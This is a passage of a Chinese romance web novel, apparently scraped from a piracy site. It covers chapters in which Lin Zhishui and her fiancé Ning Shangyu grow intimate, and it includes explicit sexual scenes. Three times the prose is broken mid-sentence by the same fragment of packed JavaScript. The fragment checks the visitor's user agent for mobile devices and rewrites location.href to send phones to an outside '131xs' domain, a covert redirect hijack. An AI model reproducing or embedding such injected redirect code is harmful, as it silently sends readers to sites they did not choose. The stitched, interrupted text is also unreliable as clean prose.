RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483236|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林稚水权衡三秒,也顾不得害羞了:“唔,我想也是呢……非常需要。”需要他这位未婚夫施以援手。 再不涂药,她可能要成为第一位和未婚夫约会被痒死的人。 宁商羽似乎满意她的识时务,下颚微抬:“去床上。” … 林稚水先是背对着,将质地奢贵的衬衫解开,继而听话顺从地趴到床上。 一系列动作很熟了,在家她也是这般,被伺候惯了。 随着后颈和背部完全暴露,那些红斑犹如长在羊脂软玉上的一块杂质,当彻底接触到空气时,她忽生丧失了安全感,隐隐约约觉得哪里不对劲,本能求生欲地趋势下,又扯过柔软枕头抱在胸前。 宁商羽并未在意她举动,长指沾些药膏,慢条斯理地摩挲了片刻,等乳白色的药膏被温化后,继而从颈间开始,一寸寸地,沿着打起颤儿的肩胛骨覆了下去。 随着擦药动作。 林稚水不习惯。 突然间,宁商羽低声问:“要解开吗?” 她未曾全脱,内里穿着特别薄一层的法式蕾丝内衣。 林稚水呼吸很慢,很轻点了脑袋。 下一秒,宁商羽面无表情地解开了,光裸的背部那股束缚感完全消失。 林稚水没忍住侧过脸,水似的眸光从眼尾斜斜地溢出,这回连两颗红痣也止不住,把宁商羽瞧着。 “谢谢你。” 宁商羽擦药的动作未停。 林稚水没话找话,又许是一身骨头受不住他指腹摩挲的力度,下意识想转移注意力,非得缠他礼尚往来一句不用谢,重复地说:“谢谢你。” 等第十一句谢谢吐出时,宁商羽面无表情地没回应,长指却毫无预兆停在了腰窝位置,也分不清是药膏融化的温度,还是他体温,滚烫触感尤为清晰。 伴着他嗓音传来,冷漠已无:“还有哪里痒?” 林稚水表面的过敏部位已经不留一丝地方被他上了个遍,全都湿黏黏的,其余地方,她不好再麻烦宁商羽代劳,于是支支吾吾说:“没有了。” 气氛安静数秒。 宁商羽高抬贵手,停在她腰窝、存在感极强的指腹移开了。 主卧门重新合上。 林稚水上完药后,薄薄的一层浴巾被裹得半湿,又不能继续洗澡。 她独自躺着不动,想冷静会儿。 怎料在这副身体过敏和宁商羽过度亲密接触的双重刺激下,疲惫的困意不知不觉地袭来,她闭上眼就没再睁开,甚至还做了场荒唐的梦。 梦里持续了两人上药的画面。 宁商羽这次没有高抬贵手,而是将停在她腰窝的长指一寸寸地往下移,透着危险的强烈气息,蔓延至更隐秘的小花园之地。 林稚水的身体犹如逐渐融化的脂膏,又像是一戳即能破,会彻底流淌下来,流得躺着的这张黑丝绒大床。 到处都是。 再次惊醒来。 时间也就过去十分钟而已。 林稚水眼尾薄而通红,对身体发热的异样属于半知半解状态,直到良久后,终于发现自己流淌下来的其实是生理性泪珠,一颗接一颗,弄得床单都湿了。 楼下。 待宁商羽洗完澡,穿得一丝不苟地整洁西装,缓步现身的时候。 为首的奚宴和黎近几位秘书,早就在客厅等候着。 宁商羽走到真皮沙发坐下,奚宴在旁负责提醒他今晚的重要行程,而黎近,则是拿出黑色保险箱,恭恭敬敬地打开—— 璀璨的水晶灯下,里面整齐摆放着一排排针剂,针头折射出银色薄光。 宁商羽慢条斯理地将衬衣袖口往上折,露出冷白修劲的手臂,随着下一步动作,肌肉蓬勃的线条清晰起伏着。 黎近低声提醒:“您早晨打过一次,医生说无意外情况,不建议一天打两次。” 宁商羽神色不改,拿起针管的同时,薄唇抿起薄凉的弧度:“有意外。” 黎近:“???” 5.第 5 章 今晚的行程很满,加上宁商羽并不想一天之内打三次针剂抑制性瘾,所以直接乘坐那架湾流G650ER公务机回到泗城。 比起人精似的奚宴,行事作风一向极为严谨的黎近被指定留了下来。 他将主卧视为不可踏入的区域,自是不敢冒然去催林稚水,崭新的衣裙备好放在沙发上后,又将一桌子菜品繁多的晚餐换了三遍。 直到林稚水身影,终于出现在了楼梯处,第一句话是:“宁商羽呢?” 她像是迷糊糊地难抵困倦睡着了,醒来后找不到宁商羽,茫然环顾完除了她空无一人的别墅,最后眼下的视线终于寻到了第二个会喘气的陌生秘书。 黎近回话:“宁总有行程,所以先行一步离开,给您准备了晚餐,您要用一些吗?” 林稚水闻言:“谢谢,我不饿,劳驾帮我备车。” 盛明璎虽然未给她设门禁时间,林稚水却心知出来约会是一码事,在外未经允许过夜又是另一码事。 一回到林家老宅。 静悄悄的客厅里阿泱等人都没歇下,看到她安全回来,似乎齐齐松了口气。 不过对于林稚水换了一身衣裙这事,却忍着没问什么。 盛明璎那边也始终没来问。 都不问,倒是省去林稚水要解释不小心过敏的来龙去脉。 接下来好长一段时间,林稚水在坐拥非常多流光溢彩的布料下,倒是没无时无刻惦记着继续出门,她把赊账的钱如数转给了万露后。 同时,也没忘记用那块霜白色的料子,是要给宁商羽做谢礼的。 林稚水会的那点儿手工活都是阿琴无私传授,阿琴的手艺堪比非遗传承人。 不过林稚水把阿琴传授的手艺全部用来做性感小睡裙了,至于男士衬衣,她根本没涉及过。 阿琴看出她犯了难,比划问:“怎么了?” 林稚水半坐着趴在书桌前,指尖在铺在上面的极品料子轻轻滑过,稀罕得跟什么似的,不忍随意裁剪,犹豫半响,才对阿琴说:“我决定跟你说一个小秘密。” 阿琴好笑着比划:“什么?” 林稚水身子挨近一些,声音故意放得很轻:“我要给宁商羽亲手缝制一件衬衫,阿琴,你教教我。” 阿琴有什么是不能依她的。 林稚水刚出生那会儿很难活的样子,毫不夸张地说,照顾她的保姆们声音稍微大一点,都能把她惊到晕厥过去。 而又逢盛明璎跟林氏宗族那些人撕股权遗产,无暇照顾这么脆弱又高敏感性的婴儿。 最后才挑选出只会比划哑语的阿琴等人。 而林稚水早就将她的仙女教母们当家人看待了,见阿琴点头,她说:“你们一定要好好活得比我久,大慈大悲让我先走一步,然后把我火葬,骨灰可以匀一半出来分一分,当是我灵魂永相伴……唔,剩下的就给妈妈和姐姐继承。” 至于宁商羽,就不给他继承了,还没熟到有资格排队分到一点骨灰。 阿琴可不乐意听:“菩萨会保佑善善长命百岁。” “是是是。”林稚水年纪轻轻却从不忌讳暴露出自己提前书写好的遗嘱内容,也不会在这事纠结,总之,被她视为至亲之人,才有资格领取。 林稚水看阿琴皱眉头,声音便轻柔下来安抚:“菩萨最喜欢我这种坚强的孩子。” 下秒,她话锋一转,“好了好了,快教我怎么做衬衣!” …… 阿琴一如既往教得很细致,林稚水起初是很耐心地学习怎么缝制,学了半个小时后,她眼尾的视线,开始落在霜白色的料子上,再伸手触摸会儿。 这火焰似的暗纹,要拿去做件小睡裙,也不知道是什么样子。 室内静得落针都能听声响,阿琴指导的动作停了,见她不是聚精会神地摸料子,就是垂头揉了揉自己白嫩的手指头。 平日里,无论是深奥难啃的海洋学书籍,还是小睡裙。 几乎一学就通。 这件男士衬衫,却把她给活生生难倒似的。 手工活还是差强人意了点儿,阿琴心叹,又比划起来:“善善,我帮你做吧。” “这怎么能假手于人呢。”林稚水虽然学得磕磕绊绊的,但是感恩宁商羽伸出援手解了她的危难之际那种态度还是很端正的,婉拒了阿琴:“我亲手做的才显得真诚。” 然而,又下苦功夫学了半个小时。 一件衬衫的衣角都没缝制出来。 林稚水累到指尖都是软绵绵的,抵着额头:“我需要冷静一下。” “衬衣太难了!” 阿琴:“……” 也还好吧。 林稚水若有所思似的,视线落在裁剪成长条的布料,突然萌生出了个念头,男人的衬衣难,但是睡袍不难啊! 况且她自己就会做小睡袍,给宁商羽做就是放大版而已。 唔。 超级放大版。 林稚水抬头瞧着阿琴,宣布:“我要做情侣睡衣。” 没错,这么大一匹布,完全可以用边角料做一个小睡裙出来,未免保守的阿琴接受不了,她美其名曰: “未婚夫妻都要穿的。” “我之前刷小视频看到过。” 阿琴比划:“是这样吗?”善善刷的是哪种小视频啊? 林稚水肯定地点头:“是的。” 随即,不等阿琴继续表示深感疑惑,林稚水单方面迅速地改变裁制方案。 她颠来倒去地折腾着料子,独自在楼上待了好几日,倘若不是身体条件不允许,近乎快到废寝忘食地步。 虽手艺细观之下,还是略带点儿瑕疵不足。 但是林稚水已经充分发挥了水平,最后一日,宁商羽的那件珍贵又昂贵睡袍摊在书桌上,夺目非常。 而她即将彻底完工,已经等不到明日弄,就在给自己心爱的小睡裙收尾时,竟不小心被针尖透过料子的火焰暗纹扎了一下。 林稚水这时候很有耐痛力,只是抿紧了唇。 等近凌晨。 她终于将那件小睡裙宝贝似的置于宁商羽睡袍上面,继而,慢悠悠地活动起了关节,捏到磨红的指腹时,才有空就着灯光去观察之前被针扎过的地方。 林稚水皮肉薄得像被光穿透一样。 幸亏生得白。 不然都快找不到这一点点的小伤口了。 要是平时的话,林稚水是有礼貌素质在身上的,不会深夜去打扰别人睡眠。但是话说回来,她手工活做得那么辛苦,必须让身为未婚夫的宁商羽知道她的满满诚意,然后…… 林稚水唇角微微翘起。 下秒,她的身体已经付出实际行动,拿手机给他拨视频通话了。 等了好一会儿,那边才接通,宁商羽的脸突如其来地近距离出现在屏幕上,今晚额前的漆黑短发向后拢着,无比清晰露出他俊美得惊心动魄的五官,一如既往地面无表情缘故,竟更显得生人勿近。 林稚水下意识屏住呼吸,倏地,宁商羽与她对视上。 “林稚水。” 宁商羽薄唇吐出的三个字,像是将林稚水的心脏隔空猛地撞击了下似的,被震得微微发麻。 她反应因此慢了半拍,继而,听他问:“有事吗?” 林稚水这才想起正事儿,唇微启:“我想给你看个东西……” 这回没有劳驾宁商羽开尊口问了。 林稚水主动揭晓谜底似的,先是不自知地将自己凑近一点儿,眼睛被光照着显出某种别样的纯粹,下秒,她曲起手指对准镜头:“看到没?” 宁商羽淡漠的视野里撞进了极近的指尖,隔着光滑屏幕,视线顺着去看她的指关节,她的手腕往上…… 林稚水说:“看到伤口了吧,这是我为你熬了几天几夜亲手缝制一件神秘礼物造成的伤口,宁商羽,你什么时候再来找我约会?” 她怕宁商羽无法领悟更深一层意思,最后尾巴的那句约会,来来回回的含在柔软唇齿间磨过,才极刻意地暗示出来。 反观宁商羽还来不及回应她。 身处的明亮会议室内,恰好有旁人跟对方争执了似的,声量突然没压低,隐隐约约透露出了巨额注资、你胃口好搞独吞项目等字眼。 林稚水愣了愣,一时分不清这通视频是不是改日再打更好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485423|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟这么晚还在公司开会议。 多半是要紧的事。 表情略微纠结是得寸进尺地一点,还是安分点挂了。宁商羽却已经让对方变得安静下来,连一点儿杂音也消失得干净,他依旧位于长桌最顶端的主位,灯光下的慑人气场萦绕周身,只是暂时不显面上,说:“恕我眼拙,林小姐,你的伤口在哪根手指头?” 他言归正传,林稚水微微讶异睁大眼睛:“很难看出吗?” 随即,她自证清白一样,将手指头紧贴镜头下,白嫩嫩的皮肤确实是破了一点点皮,可能稍微晚点儿给他看,就要险些痊愈了。 “虽然你时间价值千金,是一个大忙人。”林稚水咬了下唇,透着水润的红,又不甘落下风,决心端起矜持的架子给他点儿压力:“我也很忙的。”不是那么好约。 宁商羽的笑意无声扩散眼底,很快消失:“倒真没想到。” 林稚水表情浸在手机屏幕的光里,又晃了一下手指:“那你现在看到没有?” 宁商羽回答:“知道了。” “……” 挂了视频通话,林稚水起身回主卧的时候,慢悠悠琢磨了会儿宁商羽的话,等躺在床上,才认清现实。 宁商羽那句知道了,字字没人情味儿,分明是在应付了事。 林稚水狠狠地闭上眼,没动,也不知过去多久时间,窗外的夜色还浓郁着,忽然被一道敲门声给惊醒来,睁开了眼。 外头的是披着件外衣的阿琴,见她开门,表情从略焦急到了困惑。 林稚水轻声问:“怎么了?” 阿琴比划:“来了一个声称是宁氏家族的秘书,留下话,说是遵从了宁总吩咐,连夜来给你送药膏的,让我们务必给你涂上。” 不连夜涂的话。 那极浅,极小的伤口怕都要等不到他这个未婚夫的“嘘寒问暖”就彻底痊愈了。 林稚水眼睛虽是看着阿琴的手势,脑子里,却莫名其妙解读出宁商羽的意思。 阿琴问:“善善,你伤哪儿了?” 善善没伤哪儿。 善善现在想不善良一回了! 俗话说泥人也带三分性,林稚水不是真的一点脾气也没有。 眼下是彻底歇了回床上睡觉的心思,林稚水等阿琴回屋后,她足音很轻地走回书房,原本是想从书柜上拿一本书籍看,越看越静不下心来…… 忽然,眼角余光扫到桌上的睡袍。 她改变主意了。 继而,将原本精致又矜贵的睡袍拿起来,在领口显眼处,绣上一只张牙舞爪的狮子,作为泄愤! - 会议一直到近凌晨四点才结束,宁商羽回到住处,浅眠了不到两小时便掀开被子起床,面无表情地走入浴室。 冲完冷水澡,他出来时随意披了件浴巾,性感的腹肌和胸膛任由暴露空调的冷气里。 恰好这时。 手机铃声响起—— 宁商羽扫了一眼,是宁舒羽打来的电话。 对方在家族排名最末。 宁氏家族的子弟一向都以傲慢著称,且有严苛的等级制度,全部各司其职,基本都在“国际政治经济”板块公开露面,又同时臣服于宁商羽权力下的管束。 宁商羽随意地点了免提接通。 宁舒羽第一句话却是:“哥,你体检是不是作弊了?” 此时远在另一处别墅的宁舒羽手头上有一份家族男性成员的体检报告单,正坐在沙发上,哗啦啦翻着。 宁商羽懒得废话:“没有。” “怎么了?” 宁舒羽匪夷所思道:“不可能,我都20cm了,你居然还排第一?” 体检报告是给他们按照尺寸排了名,宁商羽位列第一,而他在第二,其他兄弟都在后头。 宁舒羽才打这通电话的原因是,他现在都发育这么大了,怎么可能输给宁商羽! 更何况家族的专属私人医院隐藏了宁商羽具体尺寸,一看就是大有文章! 他下了结论:“你绝对作弊了。” 宁商羽听后,声线透着傲慢道:“我用得着作弊?” 6.第 6 章 宁舒羽偏就不信邪,趁着老爷子定下的老规矩,每三月一次要在祖宅齐聚的时候。 他将那份家族男性成员的体检报告单带上了,顶着新染了头耀眼的浅白金色发,自以为气焰挺嚣张地迈步进了门。 华丽内厅,宁氏子弟的成员已经到齐。 都坐着,但是坐哪儿也是有讲究的,微妙地将宁商羽围成了万众瞩目的中心。 宁商羽漫不经心摩挲指间刻着家族徽名的尾戒,西装熨帖又严密包裹着身躯,顶上的水晶吊灯将光折射而来,无声地勾描着他极流丽的锋利线条。此刻无声胜有声,位于宽大高椅的姿态看起来就像是一只居高临下的俊美雄狮。 宁氏这个大家族无论是直系的旁支的,光子孙后代就有数百个,在公平的绝对制度下争权夺势,只有一小部分能者制胜,为家族贡献出利益,才有资格进核心圈层,被老爷子特招到这儿来。 宁舒羽是个例外。 毕竟他虽然五官样貌上非常有这个家族的特征,但是站在这儿,更像是一只毫无捕食能力的小幼狮。 竟还耀武扬威出体检报告单,妄想以一己之力去挑衅这群哥哥们:“好热啊。” 话未落地,他用那份报告单扇着风,继而,浮夸地问离得最近的宁清羽:“三哥,你不觉得今天特别热吗?” 宁清羽都快被他上面20cm这几个加大加粗的字怼眼睛里了,冷冷皱着眉骨:“舒羽,你心眼是长在肚脐眼下了么?我给你三秒,把你这幅德行收一收。” 我什么德行啊? 不就是肚脐眼下的尺寸,比他发育长了那么一点点,宁舒羽来劲:“要嫉妒就正大光明的嫉妒,阴阳怪气什么。” “是吧,二哥。”宁舒羽毫无缝隙地切换了个哥哥炫耀。 宁惟羽面目淡漠。 宁舒羽又从在座的诸位里,寻到另一位…… 宁濯羽靠坐着单人沙发,黑色长卷毛的发尾恰好到肩膀,衬着五官极艳丽深邃,愈加透着危险的神色,他甚至都没给宁舒羽开口的机会,先侧首,询问宁商羽: “亲爱的哥哥,请问我可以掐死他吗?” 一般在老宅内部的场合下,坐镇高位的宁商羽话很少,都是神色漠视着家族斗争失败,又被他连带权柄一起继承下的产物们。 宁商羽缓缓瞭起眼皮:“他虽毫无建树,却是老爷子亲手抚养长大,别弄死了。” 宁舒羽的父母虽是嫡系,却对家族产业毫无兴趣,甘愿在外做一对流浪艺术画家,他大概是继承了艺术家细胞,也无经商天赋,连读书都是靠宁商羽作为兄长,捐图书馆在国外念了个知名大学。 平日里,仗着有人纵容,才能在祖宅无限制地自由出入。 宁商羽这话有袒护着意思,宁濯羽无法动他一根汗毛,嘴角却勾起个颇为阴阳怪气的假笑:“是啊,我们毫无建树的小公主能取悦下老爷子心情,也算是为家族做贡献了,这点作用,确实比门口那两个石头狮子稍微要强一点。” “你才是看门狮!” “呵,谁顶着一头金毛啊?” “宁濯羽,你才19.8cm不配跟我说话!” “谁又知道你有没有造假……” 华丽内厅,顷刻间都是两人唇枪舌剑地在互相质疑对方繁殖下一代的能力,哄笑声四起,热闹得过了头。 宁商羽懒得去平衡这类无聊问题,离座去洗手间。 而宁舒羽也逐步跟了进来。 宁商羽瞥了他一眼,站在落地式池前未动。 宁舒羽视线先盯着宁商羽骨节分明的大手,摆明儿是存着——这个家族男性基因生来就刻在骨髓里的极重攀比心,不信邪地跟来目睹比他还发育更好的超大“尺寸”。 见宁商羽迟迟没解皮带,他故意激将法问:“哥,你不会是真作弊,怕被我发现吧?” 宁商羽冷静的面目下沉默几秒,恩赏了他四个字:“怕你自卑。” 五分钟后。 宁商羽拧开水龙头,按洗手液,冲洗,最后擦干净,不疾不徐走出洗手间,任由身后的宁舒羽垂头气馁地跟着回到客厅。 他恍惚了一刹那。 自卑了! 但是又竭力维持着摇摇欲坠的脆弱自尊心,小声嘟囔:“就这极端洁癖,又挑剔的要死,长这么大有什么,还不是用不到。” 而此时,宁商羽行程非常忙碌,只在祖宅待了片刻,像是刷新固定任务一样,完成后,提前离场。 四月中旬的尾巴,林稚水在家中没等到百忙之中的宁商羽空降港区,倒是被他那架私人机,接到了泗城。 也引起顶级豪门圈哗然,甚至有几家私下依旧不死心,疯狂地想从林稚水身上窥探出点联姻内幕,以及她的平生—— 往深了扒后,却发现比起林家长女隔三差五地在外被传出一些惊骇世俗的事迹。 而林稚水这位林家次女,被深藏久居在港区,就显得神秘低调许多,甚至极少人见过她的真容。 被沦为话题中心的正主林稚水,正在秘书黎近的陪同下,先是流转于两场私人顶级的拍卖会,最后到了家久负盛名的餐厅享用晚餐。 快超过十小时以上了。 宁商羽行踪难测,始终没有现身一面。 不过林稚水现在很好认,毕竟能用得起黎近的,可不是一般身份的人。 包厢内,林稚水独坐在椅子上,此刻也不专心好好吃饭。借用阿琴的意思来说,只要没眼睛不眨地盯着,她的汤碗里都能养小鱼。 正单手托腮,将一双雕着昙花纹的筷子把玩着,在光下,指尖反倒是像细白的美玉。 这幅极为赏心悦目的画面,很快,被从绕着屏风进来的人惊扰了:“林稚水?你怎么在这儿?” 林稚水循声抬头。 “之前听你姐姐说你足不出户,怎么从港区跑这么远来了。”不请自入的这位穿着休闲西装,英俊的面容带点恰到好处的笑意,又说:“我跟林曦光是同窗校友,兴许你忘了,三年前我们有过一面之缘,重新认识下,我叫沈临疏。” 林稚水还真忘了,清澈的眼眸闪动,似乎对他是林曦光校友身份存疑。 “你姐姐当年在剑桥求学时,天天必须坐私人飞机回家陪妹妹,我经常戏称她是走读生,后来一次她在校招惹了个偏执受虐狂,是我出手摆平。”沈临疏的家族产业在北美地区,任谁都要卖三分薄面。 这事,林稚水是有所耳闻的。 而沈临疏自报家门与林曦光挚友关系的同时,还有一句话没说,他当初见到林稚水后,也不知怎么一面就七情上头,满目满心都是她,私下还争取过林曦光的首肯: 是否能让他有机会,以将来结婚为目的追求林稚水。 结果林曦光那女人,说自己的妹妹不接受跨国婚姻,让他就地死了这条心。 对此一无所知的林稚水,正对沈临疏礼貌地笑了笑。 沈临疏被这抹极浅的笑险些晃掉了神智,好在他所求不多,今日竟然意外遇到,便想求一个大献殷勤的机会,又说:“你来泗城,稍后去哪玩?我在这朋友很多,五湖四海的都有,不如组个局,陪你一起解解闷?” 话音落地。 原本见林稚水胃口不佳,去找总厨换一份菜单的黎近恰好出现,也恰好听到沈临疏的邀约。 林稚水说:“不了吧。” 黎近松了口气,幸好拒绝了。 下秒,沈临疏又提议:“那我们加个微信?” 黎近那口气,又重新提起来。 林稚水思考了几秒,觉得似乎没什么正当理由拒绝,便拿出手机,又一顿,总觉得似乎有什么不对,直到包厢外传来声响,她下意识地看了过去。 已近傍晚。 厚重华丽的两扇门被推开,一束从走廊窗口斜射进来的夕阳,落在男人修长的黑西装裤,以及皮鞋上,犹如逶迤洒下了绮丽的色彩。 … 宁商羽的目光直接落到了林稚水脸上。 林稚水视线慢慢上移,清澈的眼睛眨了眨,确认没看错,握住的手机硌得她手心微疼,继而想起什么,对沈临疏说:“和异性加微信这件事,你需要问过我的未婚夫。” “未婚夫?” 沈临疏循着她视线,看向宁商羽,显然是认识这位掌控庞大商业版图、顶级财阀掌权人……可没听林曦光提起过只言片语,这林家与宁家什么时候冒出个婚约? 宁商羽如平常一般神态冷漠,待缓步进来后,伸手拉开林稚水身边的椅子,谁是客谁是主,已经了然,他慢条斯理地问:“嗯?你想加我未婚妻的联系方式?” 听到这番明示,沈临疏一时错愕:“未婚妻?” 宁商羽将手搭在林稚水的椅子上,难得善解人意似的,说:“倘若沈公子接受不了这个称呼,也可以称呼她为,宁太太。” “……” 沈临疏身为北美财阀的继承人,也是顶尖阶级的,不至于当场被气破功,做出什么掉价的事儿,见今晚是要不到联系方式了。 他收了手机,勉强维持绅士风度离开。 望着沈临疏出去背影,林稚水思考了一会儿,微侧着瓷白的脸,出声问: “你们泗城人,未婚妻就可以称之为太太了吗? 宁商羽语调平静:“你们港区人,加个联系方式,需要问未婚夫?” … 宁商羽一句话就把林稚水反问得语哽住,微恼了半天都没想好怎么回击,她索性放弃了,垂着眼睛拿起细白的汤匙,无比丝滑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490600|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅动着奶油浓汤,仿佛这样容易凉。 浓汤里真要有一条鱼,非得被她搅晕不可。 宁商羽见她挑食,倒也没说什么,又淡声吩咐黎近去换菜品。 他方才故意为之坐得近,林稚水是瞧出来的,这会儿却没把椅子往外移动一寸的意思,特别是侧首跟秘书说话时,气息都透过透明空气,灌进了她的耳朵里。 林稚水手指尖不动了,眼尾泄露出了一丝余光,去瞅着宁商羽。 感觉哪里怪怪的。 宁商羽挑眉:“搅完了?要不要换一份汤羹给你玩?” 今晚他还怪“善解人意”的。林稚水顿了两秒,装模作样地像是终于千辛万苦把浓汤搅凉,当他面,微微张唇吞咽了一口。 许是包厢太静,黏黏糊糊的吞咽声就显得额外清晰。 林稚水心思纯粹,并没有留意到什么,唇角还沾了点乳白色奶油。 宁商羽凝视了半响,似重度洁癖作祟,纡尊降贵地并拢起食指与中指,替她抹掉。 恰好这时,林稚水正想提起上次的谢礼,突然侧过头要和他说话,猝不及防地,男人的手指沿着白嫩脸颊,忽而被含进她柔软的口腔。 林稚水愣住,极近距离下,宁商羽手背上筋骨根根分明,温度更是烫极了。脑海中莫名浮现出那夜梦中,他便是有这两根指节…… 她下意识抿了下,却将这根指节抿的更紧了。 “吐出来。”宁商羽视线落在林稚水红而湿润的唇间,眼眸微微一暗,极浅的琥珀眼瞳变了,取而代之的是一种更深浓的情绪。 下秒,他竟然还动了一下指尖末端,似是提醒。 林稚水猛然醒悟。 启唇任由他抽出—— 随即,她发现自己似颤巍巍的白玉,在他如鎏金色火焰的视线灼烧下,正淌着一道一道水粼粼的湿痕。 林稚水眼睛睁大,像是看到了什么怪物一样。 这张过分漂亮脸蛋上的表情太过明显。 宁商羽发现她异样,眉目沉敛,低声问她:“怎么了。” 男人虽然依旧没什么表情,但自身压迫感太强加上……炽热又令人难耐的气息笼罩着她。 林稚水咬唇,纠结着要不要告诉他,毕竟这是个人隐私。 但是,她身体的不对劲又不好告诉阿瞒她们,至于母亲与姐姐太忙。 迟疑片刻,林稚水轻轻吐气,本就是因他而起的,又是未婚夫妻,告诉他也无妨。 于是她抬头,一双眼睛直白望着宁商羽:“自从看到你的第一眼起,我的身体就不太对。” 宁商羽:“嗯,哪里不对?” “我。”林稚水皮肉雪白,一红就浮现得明显,仿佛多说几个字,就要多红点似的,“我身体在流水,为什么会这样?” 书本上的知识她懂。 可宁商羽并没有对她做过分的事。 林稚水为此,感觉到茫然又无措。 “你母亲没教导过你些知识?”宁商羽发现她除了红得发艳眼尾偶尔颤抖外,表情完全无知,罕见地顿了下,看出了林家是什么都没教过。 话止了数秒,宁商羽平静吐字:“身体会流水,是因为你对我有欲望。” 林稚水皱起眉头,似乎在艰难地接受这个事实,脑子又突然清醒,开口问:那你呢,对我有吗?” 这很重要! 她记起上回在半裸的情况下。 宁商羽都能面不改色地上完药走人……半点不像是初次见面时说的性/欲很强的样子, 莫不是,单纯的对她没感觉? 那也太不公平了吧! 就当林稚水开始胡思乱想时。 宁商羽骨节轻敲冰冷桌沿,他不答,反而在几秒后,忽然唤了她一声:“林小姐。” 未婚妻宁太太林小姐。 林稚水觉得宁商羽真是一个迷一样的男人,他到底把她当什么? 岂料对方下一秒的话却是:“你接受婚前性行为吗?” 林稚水:“???” 一双清透眼眸不自觉又睁大,瞳孔颤动,深深怀疑自己耳朵幻听了。 宁商羽没催她回答,依旧气定神闲:“不急,你可以考虑一下。” 这句话的冲击力对她还是大了点。 林稚水懵懵地点脑袋,音调拖长:“我确实……” 需要考虑几天。 然而没等她话落,宁商羽朝她摊开方才拂过她脸颊的那只骨节修长又极具性冷感的手,意味不明道:“不是湿了吗,考虑期间,可以给你先试用一下。” “要吗?” 林稚水大脑一片空白,但是身体却远比大脑诚实。 在她反应过来之前,白皙手指已经握住了他的手。 7.第 7 章 潺潺水流声响起。 宁商羽站在能照出了浴室全貌的极宽镜子前,一丝不苟地挤出洗手液,正在做清洗。 薄荷香味的泡沫沿着筋骨分明的手背线条纹路蜿蜒而过,伴着水汽浸透进皮肤之下的一层微微突起青筋,像山脉绵延至修长手臂…… 随着将水龙头开到最大,调到冷水,哗啦啦的水流作响得更猛。 宁商羽将一根又一根的手指冲刷至干净,慢条斯理地动作间,在明亮灯光照射下的手臂肌肉蓬勃有力,荷尔蒙四溢。 像是透过那扇堂而皇之敞开的玻璃浴门。 忽然流溢出来一样。 林稚水因情绪过于紧张,坐在床边沿,感觉自己仿似水造的身体又沸腾起一层热流,不自觉地在淌水,下意识地并拢的膝盖都在打颤儿。 想克制住宁商羽口中的生理欲望,又克制不住。 林稚水连眼尾眉梢都沁着湿意似的,低垂了下来,视线恍然发现身下的深蓝色天鹅绒床单被攥得很皱,右手忽而一松,脑海里同时又浮现出了她抓住宁商羽的场景。 这真是一只坏手啊!!! 竟敢间歇性地不听她大脑反应指挥。 去抓什么不好。 偏偏就这么精准地、急不可耐抓住宁商羽递来的手掌! 浴室的门毫无预兆地被关上。 许是动作没有刻意放轻,怦地一声重响,震到了林稚水。 …… 偌大的主卧静悄悄的,宁商羽已经清洗完出来,靠近的时候,气息还透着洗手液的清冽薄荷气息,浅淡地拂到她的脸上。 而林稚水被震得呼吸凝住,不知道要躲,怔怔地看着宁商羽。 他身材挺拔高大,肩膀也很宽阔,一旦居高临下地出现就毫无悬念地把台灯照明的光挡住了,像是阴影落下来。 同时,落到她身上的还有他低而清晰的嗓音:“腿分开。” 腿怎么分开?林稚水情绪陡然更紧张了起来,未曾想到,今晚不止是这只右手,是整个四肢都不听她大脑指挥,完全像是跟预谋要换一个新主人,听到宁商羽的命令,下一秒,双腿因此不受控制地动了动。 近在咫尺的宁商羽身形未动,反倒是她,跟求知好学一样,膝盖蹭到了他西装裤。 要再往上抬一寸。 像是想主动夹住他似的。 林稚水脸耳发热,下意识地想后退,全然忘记自己是坐在床沿,手心没撑住,仰躺到了床上,连带如水波的裙摆都因动作幅度过大,卷起了一角,暴露出腿侧的肌肤。 宁商羽没有发善心去拉她一把,盯着那处白,接着往前逼近,“嗯,林小姐的求知识欲倒是很强。” “……”林稚水想回答的话哽在喉咙。 只因她感觉到宁商羽的膝盖下秒就抵到了床沿之上,透着股存在感极强的压迫。 猜到他即将做什么,也大致清楚他会拿里里外外都洗得极干净的手指,往她哪里触碰。但是真正实践起来……林稚水整个人变得忐忑不安,突然说:“关灯好吗?” 或许,黑暗能给她保护屏障似的。 可宁商羽的气场极盛,也同样能轻易地震烈屏障,他低声道:“你在家授学时,也关灯?” 林稚水蹙了蹙眉,心想,这能一样吗? 宁商羽此刻严格扮演一个倾囊相授的好启蒙老师,又大方地,让她切身体会下他的超高技能。 以至于指腹刚落到下来,霎那间,林稚水额角溢出细汗,第一次感觉到这么清晰的直观。 宁商羽冷静地注视着她。 林家养得精细,林稚水这副身子纯洁干净得紧,耐不住半点考验。 只能力道先放轻,待察觉到有什么透过薄如蝉翼的料子向外扩散,随之而来的是,又一点点加重…… 最后,隔着微微陷进林稚水几毫米。 * 